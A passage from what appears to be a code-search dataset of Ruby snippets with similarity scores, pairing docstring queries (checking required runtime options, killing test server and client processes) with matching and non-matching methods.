"def can_absorb other\n return true if (meaning_ids == other.meaning_ids)\n (other.normalized_name == self.normalized_name) && ((other.tagtype==0) || (other.tagtype == self.tagtype))\n end",
"def matches?(other)\n operable_values == other.operable_values\n end",
"def overlaps?(start_time, end_time)\n unless @talks.reduce(true) {|outcome, talk| outcome && !talk.overlaps?(start_time, end_time) }\n handle_validation_fail \"Overlaps with existing talks in the #{self.name} event!\"\n return true\n end\n return false\n end",
"def passed_test?(event)\n event['event'] == 'test' && event['status'] == 'pass'\n end",
"def responds_to?(message)\n return true unless event_regex\n @match_data = event_regex.match(message)\n return @match_data\n end",
"def has_any_event\n include InstanceMethods unless @published_events\n @published_events = :any_event_is_ok\n end",
"def assert_event_are_light_equal e1, e2\n return false if e1.class != e2.class\n\n [:subject, :event, :moodid,\n :mood, :music, :location, :taglist, :pickeyword,\n :preformatted, :backdated, :comments, :security, :allowmask,\n :screening,].each do |attr|\n return false if e1.send(attr) != e2.send(attr)\n end\n\n e1.compare_time(e2)\n end",
"def raise_event?( some_event)\n reserved_section_events = self.section.global_event_array\n reserved_section_events.include? some_event.event_name\n end",
"def is_reservation_and_has_conflicts?\n self.is_reservation? && self.has_conflicts?\n end",
"def event_running?\n @battle_event.active?\n end",
"def event_filtered?(diff)\n event_filter = helper.options_for_table(diff.changes[:left].table)[:event_filter]\n if event_filter && event_filter.respond_to?(:before_replicate)\n not event_filter.before_replicate(\n diff.changes[:left].table,\n helper.type_cast(diff.changes[:left].table, diff.changes[:left].key),\n helper, \n diff\n )\n else\n false\n end\n end",
"def validates_arity?(evt)\n emits?(evt) && emittable[evt.to_sym] > NO_CHECK_ARITY\n end",
"def event?\n !! @event\n end",
"def _events_data_is_equal(cal_event, new_event)\n cal_event.summary == new_event.summary &&\n cal_event.description == new_event.description &&\n cal_event.location == new_event.location\n end",
"def look_same_as?(other)\n return nil unless other.kind_of?(self.class)\n (name == other.name) and (definition == other.definition)\n end",
"def same_day?\r\n start_date? && event_start_date == event_end_date\r\n end",
"def validate\n notify_devs and return false if @client_id < 1 ||\n Event.sources.keys.exclude?(@event_source) ||\n Event.names.keys.exclude?(@event_name) ||\n @event_data.blank? ||\n @event_timestamp == 0 ||\n Event::NAME_CONFIG[@event_name.to_s][:inavlid_source].include?(@event_source)\n true\n end",
"def event_received(sequence)\n false # return true if we handled the event here\n end",
"def matching(action_result1, action_result2)\n (action_result1.role_id == action_result2.role_id || action_result1.role_id.nil? || action_result2.role_id.nil?) &&\n action_result1.class == action_result2.class &&\n action_result1.day_id == action_result2.day_id\n end",
"def report_match?(other_report, self_report)\n keys_with_expected_diffs = ['receive_time', 'resource_events']\n same_num_elements?(other_report, self_report) && same_contents?(other_report, self_report, keys_with_expected_diffs)\n end",
"def valid?\n\t\t\t klass.respond_to?(event)\n\t\t\tend",
"def check_event_trigger_touch(x, y)\n return false\n end",
"def past_step_2?\n !spectator? && status_is_active?(\"events\")\n end",
"def overlaps?(other)\n\t\tself.start_date < other.end_date && other.start_date < self.end_date\n\tend",
"def overlaps?(other)\n !disjoint?(other)\n end",
"def overlaps?(other)\n !disjoint?(other)\n end",
"def has_matches_on_event?(event_type, visitor_swimmer = @visitor_swimmer)\n @local_swimmer.meeting_programs.exists? &&\n visitor_swimmer && visitor_swimmer.id &&\n @local_swimmer.meeting_programs\n .joins(:meeting_event)\n .includes(:meeting_event)\n .where([\n 'meeting_events.event_type_id = ? and exists (select 1 from meeting_individual_results mir join swimmers s on s.id = mir.swimmer_id where s.id = ? and mir.meeting_program_id = meeting_programs.id)',\n event_type.id,\n visitor_swimmer.id\n ]).exists?\n end",
"def can_process?(msg)\n self.input_events.include?(msg.event)\n end",
"def has_event_with_options?(name, options = {})\n event = Event.new(name, options)\n event.type = :search\n events.dup.keep_if { |e| e.match? self, event }.to_a.first\n end",
"def is_transition_for?(event_name, subject_state)\n is_same_event?(event_name) && is_same_from?(subject_state)\n end",
"def emits?(evt)\n self.class.emits?(evt)\n end"
] | [
"0.71388555",
"0.6930935",
"0.6788261",
"0.67662555",
"0.6697888",
"0.666603",
"0.66097",
"0.6538908",
"0.64401734",
"0.64012396",
"0.64012396",
"0.63988507",
"0.63870394",
"0.63739336",
"0.6357546",
"0.63529843",
"0.63473237",
"0.6342563",
"0.6340317",
"0.63375103",
"0.6312638",
"0.63083315",
"0.6299627",
"0.6255441",
"0.62364626",
"0.62260103",
"0.622159",
"0.62179035",
"0.62179035",
"0.61773777",
"0.6143483",
"0.61102647",
"0.61078805",
"0.60848814",
"0.60706645",
"0.6047869",
"0.60301936",
"0.6025942",
"0.602356",
"0.6008804",
"0.60037756",
"0.6002532",
"0.5993373",
"0.59875405",
"0.59875405",
"0.5984669",
"0.5971287",
"0.5951433",
"0.5891907",
"0.58899575",
"0.5846087",
"0.5845887",
"0.58438677",
"0.5843226",
"0.58349055",
"0.5813768",
"0.5798022",
"0.5791988",
"0.57893646",
"0.5789062",
"0.5789062",
"0.577873",
"0.57755965",
"0.57735944",
"0.57669294",
"0.5761171",
"0.57566303",
"0.57475317",
"0.57386214",
"0.5732436",
"0.5728386",
"0.57273096",
"0.5724829",
"0.5717708",
"0.5713528",
"0.5711204",
"0.5709221",
"0.5707028",
"0.57040244",
"0.5699167",
"0.5691638",
"0.5688193",
"0.5685955",
"0.5683539",
"0.5678383",
"0.56664306",
"0.5665953",
"0.56621736",
"0.56590664",
"0.56564885",
"0.56476074",
"0.56366736",
"0.56230366",
"0.56215924",
"0.56215924",
"0.56158334",
"0.56124896",
"0.5606654",
"0.5606499",
"0.55955046"
] | 0.6423733 | 9 |
Checks the given runtime options for required options. If no required options exist, returns true. Otherwise, checks the keys of the runtime options to see if they contain all of the required options. | def check_options_requirements(runtime_options)
required_options = options[:requires] || options[:require]
return true unless required_options
([required_options].flatten - runtime_options.keys).size == 0
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def valid?(options)\n (@required_options - options.keys).size == 0\n end",
"def required_by_option?(options)\n req = (options.is_a?(Hash) ? options.stringify_keys[:required] : options)\n !(req.to_s === 'false' || req.nil?)\n end",
"def requiredOptionsSet()\n\t\t@@opt.each{|d| return false if d[\"required\"] == true and (d[\"value\"] == nil or d[\"value\"] == \"\")}\n\n\t\treturn true\n\tend",
"def options_valid?\n missing = MANDATORY_OPTIONS.select { |arg| @options[arg].nil? }\n missing.empty?\n end",
"def check_required(options)\n all_right = true\n options.each do |x,y|\n if y[\"required\"] == \"yes\" and y[\"value\"] == \"\"\n all_right = false\n end\n end\n return all_right\nend",
"def check_required_options(option_set_name, options = {})\n required_options = REQUIRED_OPTIONS[option_set_name]\n missing = []\n required_options.each{|option| missing << option if options[option].nil?}\n \n unless missing.empty?\n raise MissingInformationError.new(\"Missing #{missing.collect{|m| \":#{m}\"}.join(', ')}\")\n end\n end",
"def required?\n options[:required] == true\n end",
"def required(options)\n default = true\n return default unless options.is_a?(Hash)\n return default unless options.key?(:required)\n return options[:required]\n end",
"def validate_options\n required_keys = {\n # 'azure' => %w(cert_path subscription_id region default_key_name logical_name),\n 'azure' => %w(),\n 'registry' => []\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if !options.has_key?(key) || !options[key].has_key?(value)\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n end",
"def options?(*args)\r\n val = false\r\n options.each do |key, value|\r\n next unless args.include?(key.to_sym)\r\n val = options[key].nil? ? true : options[key]\r\n break\r\n end\r\n val\r\n end",
"def has_options?\n bounty_expiration.present? || upon_expiration.present? || promotion.present?\n end",
"def actual_options?(options)\n return false if options.nil?\n\n if (options.is_a?(String) || options.is_a?(Hash)) && !options.size.zero?\n true\n else\n false\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def required? #:nodoc:\n options[:required]\n end",
"def has_options?\n properties.include?(\"has_options\")\n end",
"def required?\n unless @required\n @required = options_by_type(:required)\n @required = true if @required.nil?\n end\n return @required\n end",
"def check_options(options, *supported)\n unsupported = options.to_hash.keys - supported.flatten\n raise ArgumentError, \"No such option: #{unsupported.join(' ')}\" unless unsupported.empty?\n end",
"def validate_options\n required_keys = %w(endpoint user password\n container_name agent ntp blobstore)\n missing_keys = []\n required_keys.each do |key|\n unless @options.has_key?(key)\n missing_keys << key\n end\n end\n message = \"Missing configuration parameters: #{missing_keys}\"\n raise ArgumentError, message unless missing_keys.empty?\n end",
"def has_option?(k)\n raise ParseError.new(\"`nil' cannot be an option key\") if (k.nil?)\n @options.has_key?(k.to_sym)\n end",
"def required?\n required.any?\n end",
"def ab_options_is_complete?(ab_options = {})\n result = true\n\n ab_options.values.each do |value|\n # Has :a, :b and :goal options\n result = value.keys.size >= 3 && value.key?(:a) && value.key?(:b) && value.key?(:goal)\n break if result == false\n end\n\n result\n end",
"def test_option_required\n\n # All options are optional by default\n assert(!Option.new(nil, nil).required)\n assert(!Option.new(\"-h|--help\", nil).required)\n\n # All options may be required\n assert(Option.new(nil, nil, required:true).required)\n assert(Option.new(\"-h|--help\", nil, required:true).required)\n end",
"def has_options?(opts = {})\n opts.each do |key, value|\n this_value = self[key.to_sym]\n return false if (this_value != value)\n end\n return true\n end",
"def optional?\n required.empty? && required_keywords.empty?\n end",
"def has_correct_options?\n options.corrects.any?\n end",
"def options_ok?\n end",
"def includes_arguments?\n !default_data.empty? || !flags.empty? ||\n !required_args.empty? || !optional_args.empty? ||\n !remaining_arg.nil? || flags_before_args_enforced?\n end",
"def meets_requirements?(params)\n requirements.reject {|k| params.keys.map(&:to_s).include? k.to_s }.empty?\n end",
"def check_option_support\n assert_option_supported(:foodcritic) &&\n assert_option_supported(:scmversion, 'thor-scmversion') &&\n assert_default_supported(:no_bundler, 'bundler')\n end",
"def check_options\n unless @options[:stub]\n STDERR.puts \"Please specify a host to connect to using --host\" unless @options[:host]\n STDERR.puts \"Please specify a model to check using --model\" unless @options[:model]\n return false unless @options[:host] && @options[:model]\n end\n\n true\n end",
"def options?\n non_empty?(@config.options)\n end",
"def required_value? opt_sym\n @options_with_short_keys[opt_sym].required_value?\n end",
"def required?(action = nil)\n if !action.nil? && options[:required].is_a?(Array)\n (options[:required] & Array(action)).any?\n else\n !!options[:required]\n end\n end",
"def all_options_main?\n no_preference_options.none? && not_counted_options.none?\n end",
"def check_requirements\n invalid_keys = []\n REQUIRED_CONFIG.each do |key|\n unless valid_key(key)\n invalid_keys << key\n end\n end\n if invalid_keys.any?\n raise \"Configuration keys \\\"#{invalid_keys.join(\", \")}\\\" are not set.\"\n end\n end",
"def options_valid?\n loaded_config? &&\n output_base_valid? &&\n have_sample_ids? &&\n sample_ids_in_config?\nend",
"def options_has_value_and_display?\n options.values.all? { |option|\n option.is_a?(Hash) && option.has_key?(\"value\")\n } && options.values.all? { |option|\n option.is_a?(Hash) && option.has_key?(\"display\")\n }\n end",
"def options_require_validation?(options)\n \n allow_blank = options[:allow_blank]\n return !allow_blank unless allow_blank.nil?\n if_condition = !options[:if].nil?\n condition = if_condition ? options[:if] : options[:unless]\n\n condition = if condition.respond_to?(:call)\n condition.call(@object)\n elsif condition.is_a?(::Symbol) && @object.respond_to?(condition)\n @object.send(condition)\n else\n condition\n end\n if_condition ? !!condition : !condition\n end",
"def ab_options_valid?(ab_options = {})\n return false if ab_options.empty?\n\n unless ab_options_is_complete?(ab_options)\n logger.info \"**********************************************************************************************************\"\n logger.info \"[Bachanalytics] You need to specify the :a, b: and :goal options for your WebSiteOptimizer tests, aborting\"\n logger.info \"**********************************************************************************************************\"\n return false\n end\n\n unless uniq_goals?(ab_options)\n logger.info \"**************************************************************************************************\"\n logger.info \"[Bachanalytics] You can't specify a :goal as part of the your WebSiteOptimizer tests, not applying\"\n logger.info \"**************************************************************************************************\"\n return false\n end\n\n true\n end",
"def _check_options(text)\n ret = true\n if @options\n unless @options.include?(text)\n @last_error_message = \"Invalid option chosen (\\\"#{ text }\\\"); \" \\\n \"valid options are: #{ options }\"\n ret = false\n end\n end\n ret\n end",
"def check_required_fields(options, locals)\n input_fields = options.values[0].inject({}){|r,(k,v)| r[k.to_s] = v; r}\n required_fields = locals['required']\n\n required_fields.each_pair do |k,v|\n unless input_fields.has_key?(k) \n raise MissingFieldError.new(\"#{k} is required\") if v.nil? \n options.values[0][k] = v \n end\n end\n return options\n end",
"def _pv_required(opts, key, is_required=true)\n if is_required\n if (opts.has_key?(key.to_s) && !opts[key.to_s].nil?) ||\n (opts.has_key?(key.to_sym) && !opts[key.to_sym].nil?)\n true\n else\n raise Exceptions::ValidationFailed, \"Required argument #{key} is missing!\"\n end\n end\n end",
"def options?\n options.is_a?(Hash)\n end",
"def valid_option? opt_sym\n @options_with_short_keys.key? opt_sym\n end",
"def valid?\n errors, options = {}, {}\n @results = {:errors => errors, :options => options}\n \n remaining_args = args.dup\n valid_options.each do |long_name, details|\n short_name, default = *details\n key = long_name.gsub(/^--/, '').gsub('-', '_').to_sym\n index = remaining_args.index(long_name) ||\n remaining_args.index(short_name)\n if index\n remaining_args.delete_at index\n if self.class.option?(remaining_args[index])\n options[key] = true\n else\n options[key] = remaining_args.delete_at(index)\n end\n else\n options[key] = default\n end\n end\n remaining_args.each do |arg|\n arg_type = self.class.option?(arg) ? 'option' : 'argument'\n errors[arg] = \"is not a valid #{arg_type}\"\n end\n \n errors.empty?\n end",
"def any?\n REQUIRED_KEYS.any? do |key|\n attributes[key].any?\n end\n end",
"def is_module_options_ready?(mod)\n mod.options.each_pair do |option_name, option|\n return false if option.required && option.default.nil? && mod.datastore[option_name].blank?\n end\n\n true\n end",
"def required_args_present?(metric, args)\n (@metrics[metric]['required'] - args.keys).empty?\n end",
"def valid?(option)\n option = option.to_s\n self.class.valid_options.include?(option) ||\n plugins.include?(option.split('_').first) ||\n option =~ /^theme_advanced_container_\\w+$/\n end",
"def valid?(options = {})\n options = normalize_options(options)\n validate(options)\n return true\n rescue\n false\n end",
"def validate_options\n true\n end",
"def required_option(options, key)\n result = get_option(options, key)\n raise ArgumentError, \"Missing required option: #{key}\" if result == \"\"\n result\n end",
"def catch_all_required?\n catch_all.is_a?(Hash) and catch_all['required']\n end",
"def options_overlap(opts)\n !(@opts.map{|k,v| k unless v.nil?}.compact & opts).empty?\n end",
"def required(*keys)\n missing = keys.reject { |key| self.settings.key? key }\n \n unless missing.empty?\n raise MissingSettings, \"The setting(s) #{missing.join \",\"} are not set \"\n \"for #{self.class}\"\n end\n\n return true\n end",
"def all_required?(options = {})\n @all_required ||= visible_questionings.reject{|qing| qing.required? || (options[:smsable] ? !qing.question.smsable? : false)}.empty?\n end",
"def all_required?(options = {})\n @all_required ||= visible_questionings.reject{|qing| qing.required? || (options[:smsable] ? !qing.question.smsable? : false)}.empty?\n end",
"def needed_params_present?(*ar_params)\n ar_params.flatten.all? { |e| params[e].present? }\n end",
"def check(cmd)\n # check requisite options\n list.each do |item|\n if item.requisite and not(cmd.model[item.key])\n raise OptionError.new(cmd, 'option \"%s\" is requisite' % [item.long])\n end\n end\n end",
"def arguement_check(options)\n args = [\"access_key_id\", \"secret_access_key\", \"bucket_name\"] \n args.each do |arg|\n begin\n options.fetch(arg)\n rescue KeyError\n raise ArgumentError, \"Argument #{arg} is required.\"\n end\n end\n end",
"def check_settings(*required_values)\n has_all_settings =\n settings.values_at(*required_values).all? do |setting|\n setting && !setting.empty?\n end\n\n unless settings.is_a?(Hash) && has_all_settings\n fail Error::MissingCredentials,\n \"Please provide all credential values. Required: #{required_values}\"\n end\n end",
"def options?\n\t\t\tif parameters = self.parameters\n\t\t\t\ttype, name = parameters.last\n\t\t\t\t\n\t\t\t\treturn type == :keyrest || type == :keyreq || type == :key\n\t\t\tend\n\t\tend",
"def required?\n config[:required]\n end",
"def arguments_valid?\n # check the parameters have values\n return false unless @options.has_key?(:hcdFile)\n return false unless @options.has_key?(:etdFile) \n return false if @options[:mzArray].empty?\n return false unless (@options[:mzTolerance] > 0.0 || @options[:ppmTolerance] > 0.0 )\n # check the file exists\n return false unless File.file?(@options[:hcdFile])\n return false unless File.file?(@options[:etdFile])\n true\n end",
"def option_combinations_valid?\n # TO DO - implement your real logic here\n true \n end",
"def argument_required?\n !short.to_s.match(SHORT_ARGUMENT_REQUIRED_RE).nil? ||\n !long.to_s.match(LONG_ARGUMENT_REQUIRED_RE).nil?\n end",
"def required_options\n []\n end",
"def variants?\r\n self.variants.each do |v|\r\n return true unless v.option_values.empty?\r\n end\r\n false\r\n end",
"def valid_options\n valid = true\n has_one_checked = false\n #logger.debug \"Q#{self.id} OV: #{self.id}: #{self.options ? self.options.size : nil}, #{self._options ? self._options.size : nil}, #{self.json_options ? self.json_options.size : nil}\"\n \n self.options.each do |option|\n valid = false if option.invalid?\n has_one_checked = true if option.correct?\n end\n \n errors.add(:options, 'Question must have at least 1 option!') if self.options.empty?\n errors.add(:options, 'Question must have at least 1 correct option!') if !self.options.empty? && !has_one_checked\n errors.add(:options, 'All must have text!') if !valid\n \n #logger.debug \" ERROR #{errors.full_messages}\"\n end",
"def required_options\n []\n end",
"def option(*args, &block)\n #p [:option, args, :optional, optional?]\n key_values, args = args.partition{ |x| x.kind_of?(Hash)}\n key_values = key_values.inject({ }){ |hash, kv| hash.merge(kv)}\n\n errors = []\n\n # handle optional/required flipflop\n if optional?\n required = { :default => nil }\n if key_values.delete(:required)\n if key_values.key?(:optional)\n errors << \"Can't specify both :required and :optional\"\n end\n if key_values.key?(:default)\n errors << \"Can't specify both :required and :default\"\n end\n required = { }\n elsif key_values.delete(:optional) && !key_values.key?(:default)\n required = { :default => nil }\n end\n else\n key_values.delete(:required)\n required = { }\n end\n args = [{ :using => Option }.merge(required).merge(key_values), *args]\n da = has(*args, &block)\n if errors.size > 0\n raise ArgumentError, \"#{da.name}: #{errors.join(', ')}\", [caller[-1]]\n end\n da.instance_eval do\n #p [:checking_values, values, values.class]\n if da.values.kind_of?(Range)\n must \"be in range #{da.values}\" do |s|\n da.values.include?(s)\n end\n elsif da.values.respond_to?(:size) && da.values.size > 0\n must \"be one of #{da.values.join(', ')}\" do |s|\n da.values.include?(s)\n end\n end\n if da.match\n must \"match pattern #{da.match.inspect}\" do |s|\n #p [:matching, s, da.match.inspect]\n s.to_s =~ da.match\n end\n end\n end\n da\n end",
"def validate_options(options, attrs)\n matched_attrs = options.keys & attrs\n if matched_attrs.to_set != attrs.to_set\n raise HelpScoutDocs::Error::OptionsError.new(\"#{(attrs - matched_attrs).join(\", \")} required options are missing\")\n end\n end",
"def variants?\n self.variants.each do |v|\n return true unless v.option_values.empty?\n end\n false\n end",
"def validate_options(options, *known_options)\n\toptions ||= Hash.new\n\topt, unknown = Kernel.filter_options(options.to_hash, *known_options)\n\tunless unknown.empty?\n\t not_valid = unknown.keys.map { |m| \"'#{m}'\" }.join(\" \")\n\t raise ArgumentError, \"unknown options #{not_valid}\", caller(1)\n\tend\n\n\topt\n end",
"def options_set?(key)\n @options.key? key\n end",
"def check_options action, modes\n if modes['help']\n display_options(action)\n exit\n end\n options = action.options\n unsupported = modes.keys.select{|k| !options.has_key?(k.to_sym)}\n return if unsupported.empty?\n $stderr.puts \"Action --#{action_name action} does not support #{unsupported.size >1 ? 'these options' : 'this option'}: #{unsupported*', '}\"\n display_options(action, $stderr)\n exit 1\n end",
"def checkOptions\n if request.options?\n render nothing: true and return\n end\n end",
"def check_install?\n @default_options[ :check_install ]\n end",
"def has_missing_required_arg?\n !missing_required_arguments.empty?\n end",
"def check_input_files(inputfiles)\n inputfiles.each_key do | type |\n inputfiles[type].flatten!\n check = 0\n inputfiles[type].each do | symbol |\n if @options[symbol] == nil or @options[symbol] == ''\n if type == :required\n raise CheripicArgError.new \"Options #{inputfiles}, all must be specified. Try --help for further help.\"\n end\n else\n file = @options[symbol]\n if symbol == :bg_bulk or symbol == :bg_bulk_vcf\n if file.include? ','\n @options[symbol] = []\n file.split(',').each do | infile |\n @options[symbol] << File.expand_path(infile)\n file_exist?(symbol, infile)\n end\n end\n else\n @options[symbol] = File.expand_path(file)\n file_exist?(symbol, file)\n end\n check = 1\n end\n end\n if type == :either and check == 0\n raise CheripicArgError.new \"One of the options #{inputfiles}, must be specified. \" +\n 'Try --help for further help.'\n end\n end\n end",
"def options_require_validation?(options) #nodoc\n if_condition = !options[:if].nil?\n condition = if_condition ? options[:if] : options[:unless]\n\n condition = if condition.respond_to?(:call)\n condition.call(@object)\n elsif condition.is_a?(::Symbol) && @object.respond_to?(condition)\n @object.send(condition)\n else\n condition\n end\n\n if_condition ? !!condition : !condition\n end",
"def invalid_options?\n options[:api_key].nil? || options[:blog].nil?\n end",
"def build_optionals?(opt)\n opt.each do |attr, value|\n return true unless value.blank?\n end\n\n return false\n end",
"def check_required_scope_args(scope, params)\n # make sure we have a hash and it has values\n return false unless params.is_a?(Hash) && params.present?\n # find required values\n required = scope.select{ |k,v| v.to_sym == :req }.keys\n # make sure we have all of the required values, we allow false\n required.all? { |key|\n params[key].present? || params[key] == false\n }\n end",
"def validate_options!(options)\n unless @config.environments.include?(options[:environment].downcase.to_sym)\n say \"Invalid environment. Run `#{$0} environments` for a list of available environments.\", :red\n abort\n end\n\n unless @config.browsers.include?(options[:browser].downcase.to_sym)\n say \"Invalid browser. Run `#{$0} browsers` for a list of available browsers.\", :red\n abort\n end\n end",
"def req_params_present? sym_array = []\n return sym_array.all? {|k| params.has_key? k}\n end",
"def check_options_values\n # Check if files specified with -f option exist\n if @options[:files].nil?\n @files = ['lib', 'bin', 'app', 'test', 'spec', 'feature']\n else\n @files = @options[:files].split(',')\n @files.delete_if do |filename|\n unless File.exist?(filename)\n puts \"#{filename} does not exist. Ignore it.\"\n true\n end\n end\n if @files.empty?\n puts 'No file to analyze. Aborted!'\n exit\n end\n end\n # Check if files specified with -e option exist\n unless @options[:exclude].nil?\n @excluded_files = @options[:exclude].split(',')\n @excluded_files.delete_if do |filename|\n unless File.exist?(filename)\n puts \"#{filename} does not exist. Ignore it.\"\n true\n end\n end\n end\n end",
"def check_arguments(params, *args)\n contains = true\n args.each do |arg|\n contains = false unless params.key? arg.to_sym\n end\n contains\n end",
"def check_for_missing_enabled_option(hash); end",
"def required_options\n valid_options - [:label, :reader_options, :ingester_options]\n end",
"def contains?(options, services)\n services.each do |service|\n result = options.any? { |option| option[:service] == service }\n return false unless result == true\n end\n return true\n end",
"def check_unknown_options!(options = {})\n @check_unknown_options ||= {}\n options.each do |key, value|\n if value\n @check_unknown_options[key] = Array(value)\n else\n @check_unknown_options.delete(key)\n end\n end\n @check_unknown_options\n end",
"def arguments_valid?\n begin\n @validoptions = BoilermakerOptions.new(options)\n @validoptions.validate\n # pp @validoptions.args\n return @validoptions.args\n rescue => error\n # pp x.args\n puts error.message + \"\\n\"\n exit\n end\n end",
"def check_sanity\n errors = []\n [:site, :uri, :user, :password, :confdir].each do |sym|\n if @config[sym].nil?# or @config[sym].empty?\n errors << \"Option '#{sym}' is required\"\n end\n end\n unless errors.empty?\n $stderr.puts 'ERROR: The following problems were detected:'\n errors.map { |e| $stderr.puts \" * #{e}\" }\n $stderr.puts \"\\nConfiguration options:\\n\"\n ap @config\n exit 1\n end\n end",
"def valid_options!\n @options.keys.uniq.each do |key|\n raise WhmArgumentError.new(\"Not a valid parameter: #{key}\") unless @optional_params.include?(key)\n end\n end",
"def options?\n @supports_options\n end",
"def acceptable_values?\n options_s_keys = options.keys.map(&:to_s)\n\n if @attributes[:multiple] && resolver.params[name].respond_to?(:map)\n (resolver.params[name].map(&:to_s) - options_s_keys).empty?\n else\n options_s_keys.include?(resolver.params[name].to_s)\n end\n end",
"def allowed_arguments(arguments)\n return false if arguments.empty?\n\n arguments.each_child_node(:restarg).any? &&\n arguments.each_child_node(:kwarg, :kwoptarg, :kwrestarg).none?\n end",
"def has_required_keys?(instance, required_keys, ignore_keys, indent: 3)\n success = true\n\n required_keys[\"name\"] = {\n \"type\" => \"String\",\n \"required\" => true\n }\n\n required_keys.each do |key, data|\n next if ignore_keys.include?(key)\n\n if !instance.key?(key)\n bad \"#{key} is missing\", indent: indent\n success = false\n end\n end\n\n success\n end"
] | [
"0.74803275",
"0.7443251",
"0.71763015",
"0.69971865",
"0.672289",
"0.6709709",
"0.66750807",
"0.66280764",
"0.660845",
"0.6574304",
"0.6508954",
"0.6440833",
"0.6428106",
"0.6428106",
"0.64270777",
"0.64260393",
"0.6373272",
"0.6348179",
"0.6328891",
"0.6257842",
"0.6226288",
"0.62008137",
"0.61787695",
"0.61707467",
"0.61395645",
"0.6136177",
"0.61156744",
"0.6114244",
"0.61072856",
"0.6106896",
"0.61020976",
"0.6100173",
"0.60886943",
"0.6080611",
"0.6076249",
"0.60414994",
"0.60343885",
"0.6031196",
"0.6029519",
"0.60217744",
"0.60059446",
"0.5995518",
"0.59879714",
"0.5944368",
"0.59411395",
"0.59013915",
"0.5899614",
"0.58927923",
"0.58921885",
"0.58720624",
"0.58656746",
"0.5858736",
"0.58578545",
"0.5846005",
"0.5845918",
"0.584508",
"0.5842239",
"0.5842239",
"0.58418965",
"0.5841698",
"0.58228433",
"0.5819208",
"0.5800568",
"0.5792558",
"0.57908285",
"0.5784154",
"0.57795256",
"0.5779255",
"0.5765832",
"0.5765057",
"0.5763185",
"0.5740258",
"0.57352084",
"0.572568",
"0.5725489",
"0.5721141",
"0.57147783",
"0.5712144",
"0.57053953",
"0.5680423",
"0.56783235",
"0.5662495",
"0.5639569",
"0.56254756",
"0.5625313",
"0.5623042",
"0.561886",
"0.5617278",
"0.5607605",
"0.5604748",
"0.5604674",
"0.55960774",
"0.5596016",
"0.55949855",
"0.55883825",
"0.5576948",
"0.5575334",
"0.557303",
"0.55697364",
"0.5557402"
] | 0.86579126 | 0 |
kill all processes including servers, clients and trema PIDs for server and clients are in PID files | def kill_all_processes
puts "KILL : all processes"
pid_servers = PID_DIR_PATH + "/" + PID_FILE_PREFIX_SERVER + "*"
pid_clients = PID_DIR_PATH + "/" + PID_FILE_PREFIX_CLIENT + "*"
# for servers
Dir::glob(pid_servers).each do |f|
if File::ftype(f) == "file"
pid_server = f.split( "." )[1]
$pids_s.delete(pid_server)
begin
File.delete(f)
Process.kill('KILL', pid_server.to_i)
# puts "KILL : server [" + pid_server + "] was killed"
rescue Errno::ESRCH
STDERR.puts "KILL : server [" + pid_server + "]: No such process"
rescue
STDERR.puts "ERROR : Can't kill server process [" + pid_server + "]"
end
end
end
# for clients
Dir::glob(pid_clients).each do |f|
if File::ftype(f) == "file"
pid_client = f.split( "." )[1]
$pids_c.delete(pid_client)
begin
File.delete(f)
Process.kill('KILL', pid_client.to_i)
# puts "KILL : client [" + pid_client + "] was killed"
rescue Errno::ESRCH
STDERR.puts "KILL : client [" + pid_client + "]: No such process"
rescue
STDERR.puts "ERROR : Can't kill client process [" + pid_client + "]"
end
end
end
# for trema
cmd = TREMA + " killall"
system(cmd)
$pids_c.each{|pid|
if process_working?(pid.to_i) then Process.kill('KILL', pid.to_i) end
}
$pids_s.each{|pid|
if process_working?(pid.to_i) then Process.kill('KILL', pid.to_i) end
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def kill_procs(options={})\n # Give it a good try to delete all processes.\n # This abuse is necessary to release locks on polyinstantiated\n # directories by pam_namespace.\n\n procfilter=\"-u #{uid}\"\n if options[:init_owned]\n procfilter << \" -P 1\"\n end\n\n # If the terminate delay is specified, try to terminate processes nicely\n # first and wait for them to die.\n if options[:term_delay]\n ::OpenShift::Runtime::Utils::oo_spawn(\"/usr/bin/pkill #{procfilter}\")\n etime = Time.now + options[:term_delay].to_i\n while (Time.now <= etime)\n out,err,rc = ::OpenShift::Runtime::Utils::oo_spawn(\"/usr/bin/pgrep #{procfilter}\")\n break unless rc == 0\n sleep 0.5\n end\n end\n\n oldproclist=\"\"\n stuckcount=0\n while stuckcount <= 10\n out,err,rc = ::OpenShift::Runtime::Utils::oo_spawn(\"/usr/bin/pkill -9 #{procfilter}\")\n break unless rc == 0\n\n sleep 0.5\n\n out,err,rc = ::OpenShift::Runtime::Utils::oo_spawn(\"/usr/bin/pgrep #{procfilter}\")\n if oldproclist == out\n stuckcount += 1\n else\n oldproclist = out\n stuckcount = 0\n end\n end\n\n out,err,rc = ::OpenShift::Runtime::Utils::oo_spawn(\"/usr/bin/pgrep 